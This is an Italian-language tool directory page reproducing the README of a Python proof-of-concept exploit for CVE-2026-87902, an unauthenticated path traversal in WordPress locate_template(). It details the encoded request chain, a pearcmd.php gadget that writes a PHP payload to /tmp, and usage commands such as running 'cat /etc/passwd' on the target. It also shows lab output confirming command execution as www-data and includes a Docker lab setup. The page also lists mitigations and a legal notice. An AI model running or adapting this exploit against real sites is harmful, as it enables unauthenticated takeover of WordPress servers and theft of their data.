Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-87902 — PoC Python che sfrutta CVE-2026-87902, un path traversal non autenticato in locate_template() di WordPress che porta a LFI e RCE basato su PEAR, con modalità di rilevamento sicura. | Kitploit
Strumenti/GitHubGitHub/crowsec-edtech/cve-2026-87902
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingStrumento di Accesso RemotoSviluppo PayloadLab e Pratica
GitHub
crowsec-edtech/cve-2026-87902

CVE-2026-87902

PoC Python che sfrutta CVE-2026-87902, un path traversal non autenticato in locate_template() di WordPress che porta a LFI e RCE basato su PEAR, con modalità di rilevamento sicura.

Vedi Repository
21 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-87902 — PoC: path traversal non autenticato nella risoluzione dei page-template di WordPress

File dell'exploit: exploit_locate_template_rce.py — Python 3.6+ (solo stdlib).

Pipeline in un unico comando: rilevamento sicuro (differenziale LFI, senza scrittura) →, se vulnerabile, RCE tramite gadget pearcmd.php che esegue il comando da te scelto (--command/-c). Usa --validate-only per fermarti prima della fase di scrittura.

Testa il CVE-2026-87902 su versioni di WordPress senza il fix del commit 5fde0bb7 — "Themes: Restrict path traversal in locate_template()" (WordPress 7.1.2, backport fino alla 4.7.37).

CVECVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High)
AdvisoryGHSA-7hp8-65ch-5whp
AffetteWordPress 4.7.0 – 7.1.1 (tutti i branch)
Fix7.1.2, 7.0.6, 6.9.9 … 4.7.37
Fix commit5fde0bb7b9775523959094bf280cc54bfa78af51 (merge del changeset 63792)
Filewp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed())
AutenticazioneNessuna — nessun utente, cookie, nonce o plugin
CreditiScoperta e disclosure: Robert Ressl

⚠️ Solo per test autorizzati. Usalo in ambienti che controlli (il lab sottostante è isolato) o con esplicita autorizzazione del proprietario.


1. La vulnerabilità

Nelle versioni senza il fix, la catena get_page_template() → locate_template() → template-loader non garantisce mai che il template selezionato rimanga all'interno del tema.

Pre-fix (wp-includes/template.php):

root@kitploit:~
// get_page_template(): decode TARDE, senza validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
    $templates[] = "page-{$pagename_decoded}.php";
}

// locate_template(): testa solo l'esistenza — nessun confinamento del percorso
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $located = $wp_stylesheet_path . '/' . $template_name;
    break;
}

Post-fix (commit 5fde0bb7):

root@kitploit:~
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) {   // realpath + confinamento
    $located = $candidate;                            // dentro tema/parent/theme-compat
    break;
}

Catena di exploit (codice del repository)

  1. pagename e page_id sono query var pubbliche — accettate nel body di un POST anonimo. Il metodo POST fa sì che redirect_canonical() (canonical.php) ritorni presto — agisce solo su GET/HEAD, quindi nulla viene reindirizzato.
  2. Il traversal è doppiamente codificato (templates%252f%252e%252e%252f...) e sopravvive al sanitize: WP_Query::get_posts() (l.2191) riscrive il pagename con sanitize_title_for_query( wp_basename( ... ) ) — wp_basename() non si spezza su %2F (formatting.php l.5768) e il sanitize preserva gli ottetti %XX (l.2395).
  3. page_id (l.2252) sovrascrive il WHERE ("$where =", non ".=") — la pagina reale viene caricata, senza 404, e il pagename malevolo rimane nell'oggetto di query.
  4. get_page_template() esegue urldecode() tardivo e costruisce page-<traversal>.php senza validate_file().
  5. locate_template() pre-patch chiama solo file_exists() → l'include esce dal tema.

Precondizioni

#PrecondizioneMotivo
1Pagina pubblicata, accessibile anonimamente, selezionabile tramite page_id e senza custom templateLa richiesta deve risolversi in una Page; un template custom verrebbe prima nella gerarchia
2Directory top-level nel tema attivo (child o parent) che inizia con page- (es.: page-templates/)WP antepone il prefisso fisso page-; è attraverso di esso che entra il traversal. Basta che esista e sia attraversabile (può essere vuota). Presente in Twenty Twelve/Fourteen, Neve, Hestia, Sydney
3Target .php locale esistente e leggibileIl loader appende .php e controlla is_file()/is_readable()
4(solo per RCE) pearcmd.php leggibile + register_argc_argv=On + directory scrivibile (es.: /tmp)Rotta PEAR→RCE: config-create scrive il payload PHP sul server

2. Cosa fa lo script

Fase 1 — rilevamento sicuro (viene sempre eseguita per prima)

Tre POST anonimi contro la pagina pubblicata — senza scrittura su disco:

RichiestapagenameRisposta attesa (vulnerabile)
A — baseline—200, corpo normale (~23 KB)
B — controllotraversal → file inesistente200, corpo normale (fallback page.php)
C — probetraversal → wp-content/index.php ("Silence is golden")200 con corpo vuoto

Firma: C vuoto + A/B normali ⇒ l'include è uscito dal tema ⇒ VULNERABILE. Il rilevamento scansiona automaticamente: directory di tema candidate (page-templates, page-template) × profondità 1–12. Il risultato (theme-dir + depth) alimenta la fase RCE.

Con --validate-only lo script si ferma qui (exit 0 se vulnerabile).

Fase 2 — RCE tramite pearcmd.php (scrittura)

root@kitploit:~
Fase 1  POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
           body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
           → il traversal include /usr/local/lib/php/pearcmd.php
           → argv proviene dalla query string grezza (register_argc_argv=On)
           → config-create SCRIVE il payload in /tmp/wp-pear-rce.php (12 copie serializzate)

Fase 2  POST /  body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
           → lo stesso traversal include il file generato → system(<--command>) viene eseguito come www-data

Dettagli del formato (tutti i vincoli sono gestiti dallo script):

  • POST, non GET: il body porta page_id + pagename; la query string porta esclusivamente l'argv di PEAR (?+config-create+<root>+<out>).
  • Payload senza alcun apice: wp_magic_quotes() (load.php l.1290) applica add_magic_quotes($_SERVER) e pearcmd legge l'argv da $_SERVER['argv'] — qualsiasi apice diventerebbe \' e romperebbe il file generato. Ogni stringa PHP diventa concatenazione chr(): '/tmp' → chr(47).chr(116).chr(109).chr(112).
  • Request target byte-esatto (http.client): i byte grezzi +, <, > della query string sono l'argv — nulla può essere riscritto/ricodificato lungo il percorso.
  • config-create richiede un root path assoluto — il payload viene iniettato come il root stesso (/<php>), prefissato con il marcatore ___WP_RCE_OK___ che delimita l'output.
  • L'RCE prova depth a partire da quella rilevata (ordine interno 7, 6, 8, 5, …) e vari percorsi di pearcmd.php (Docker ufficiale, Debian/Ubuntu, XAMPP) — regola con --pear-path/--output se necessario.

Non c'è "upload": il target del rilevamento è un file che ogni WordPress porta di fabbrica (wp-content/index.php); il payload dell'RCE viene scritto dal server stesso tramite gadget PEAR, in esecuzione come www-data.


3. Uso

root@kitploit:~
# 1) Solo validare la vulnerabilità (LFI probe, senza scrittura)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only

# 2) Rilevamento + RCE eseguendo un comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"

# Combinazioni utili
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose

Parametri

ParametroDefaultDescrizione
--url, -u(obbligatorio)URL base di WordPress
--command, -cidComando shell eseguito sul target (ignorato con --validate-only)
--validate-onlyoffValida solo la vulnerabilità (LFI, si ferma prima dell'RCE/scrittura)
--page-idauto (REST, fallback probe)ID di pagina pubblicata senza custom template
--theme-dirprova page-templates, page-templateDirectory top-level del tema che inizia con page-
--probe-targetindexTarget del probe di rilevamento, senza .php (index → wp-content/index.php)
--depth0 (scansiona 1–12)Nº di segmenti ../
--pear-pathprova lista internapearcmd.php della fase RCE, senza .php (Docker, Debian, XAMPP)
--output/tmp/wp-pear-rceDestinazione scrivibile del payload di PEAR, senza .php
--timeout20Timeout per richiesta (s)
--insecureoffNon verificare il certificato TLS
--verboseoffOutput dettagliato per tentativo

Output atteso nel lab

root@kitploit:~
[*] alvo          : http://127.0.0.1:8080
[*] comando       : 'id'
[*] versão WP     : 7.1.1  (<= 7.1.1 => potencialmente afetada)
[*] page id       : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo          : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir     : page-templates
[+] depth          : 3
[+] traversal      : page-templates/../../../index.php
[+] VULNERÁVEL     : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo          : RCE (2 estágios via pearcmd.php)
[+] theme dir     : page-templates
[+] depth          : 7
[+] pearcmd        : /usr/local/lib/php/pearcmd.php
[+] payload file   : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando        : 'id'
[+] saída          :
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web

Codici di uscita: 0 = validato/RCE con successo · 1 = non confermato/fallito · 2 = errore (es.: nessuna pagina pubblicata trovata). Serve come check di regressione: su WordPress ≥ 7.1.2 il probe non è mai vuoto e ritorna 1.


4. Lab (Docker)

Lab utilizzato: docker-compose.yml.

root@kitploit:~
services:
  db:
    image: mariadb:11
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wp_user
      MYSQL_PASSWORD: wp_pass
      MYSQL_ROOT_PASSWORD: root_pass
    volumes:
      - db_data:/var/lib/mysql

  wordpress:
    image: wordpress:7.1.1-php8.3-apache   # PINADA — a rolling baixa 7.1.2+ (patcheada!)
    depends_on:
      - db
    restart: always
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wp_user
      WORDPRESS_DB_PASSWORD: wp_pass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_data:/var/www/html
      # fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
      - ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates

volumes:
  db_data:
  wp_data:
root@kitploit:~
docker compose up -d

# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
  -e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
  -e WORDPRESS_DB_NAME=wordpress `
  wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
  --admin_user=admin --admin_password=adminadmin [email protected] --skip-email

# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"

# Teardown
docker compose down -v

Perché ogni pezzo è importante:

  • 7.1.1-php8.3: deve essere < 7.1.2 e php8.3 — su PHP 8.5, register_argc_argv è di default Off nelle SAPI HTTP e PEAR è uscito dalla distribuzione, quindi la fase RCE non funziona (il rilevamento LFI funziona).
  • Tag rolling = trappola: wordpress:php8.3-apache oggi scarica 7.1.2+ (patchata) e l'exploit fallisce correttamente.
  • Cambiare l'immagine non fa downgrade: il volume wp_data persiste il core; cambiare il tag richiede docker compose down -v affinché l'entrypoint ricopi i file della nuova immagine.
  • page-templates/ (fixture): i temi default (Twenty Twenty-*) non hanno una directory page-* — senza di essa il prefisso fisso page- non si risolve mai e nessuna depth funziona. Alternativa al bind mount: command: > con sh -c "mkdir -p .../page-templates && exec apache2-foreground".
  • register_argc_argv=On: l'immagine ufficiale non carica php.ini web, quindi vale il default compilato (On su php8.3). Verifica: docker exec <c> php -i | grep argc.
  • Depth del lab: il rilevamento azzecca a 3 (page-templates/ → 3×.. → wp-content/); PEAR azzecca a 7 (→ / → /usr/local/lib/php/pearcmd.php).

5. Limitazioni e nota per i difensori

  • Un risultato negativo è inconcludente (tema senza page-*, page con custom template, open_basedir, WAF/proxy che blocca il traversal, page_id non valido).
  • Il probe vuoto può essere imitato da un WAF che risponde 200 vuoto — conferma con i log.
  • Mitigazioni: aggiornare a 7.1.2+ (o backport del branch); register_argc_argv=Off per le SAPI web; rimuovere pearcmd.php leggibile in produzione; verificare i temi per directory page-* top-level; allertare nei log per pagename con %252f/%252e (doppiamente codificato).
  • PEAR è solo una rotta di inclusione→esecuzione; qualsiasi .php leggibile e utile può essere target dell'LFI (rilevamento tramite --probe-target).

6. Riferimenti

  • Advisory: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Fix (branch 7.1): commit 5fde0bb7b9775523959094bf280cc54bfa78af51 — changeset 63792
  • Write-up e PoC dello scopritore: https://ressl.ch/blog/cve-2026-87902-wordpress/ · https://github.com/ressl/cve-2026-87902-poc
  • Rilevamento differenziale (Hadrian): https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal
  • WordPress 7.1.2: https://wordpress.org/news/

Avviso legale

Questo materiale è fornito solo per ricerca e test di sicurezza autorizzati. L'uso contro sistemi senza esplicita autorizzazione del proprietario è illegale. L'exploit è stato sviluppato e verificato esclusivamente in un laboratorio locale isolato.

Scarica lo strumento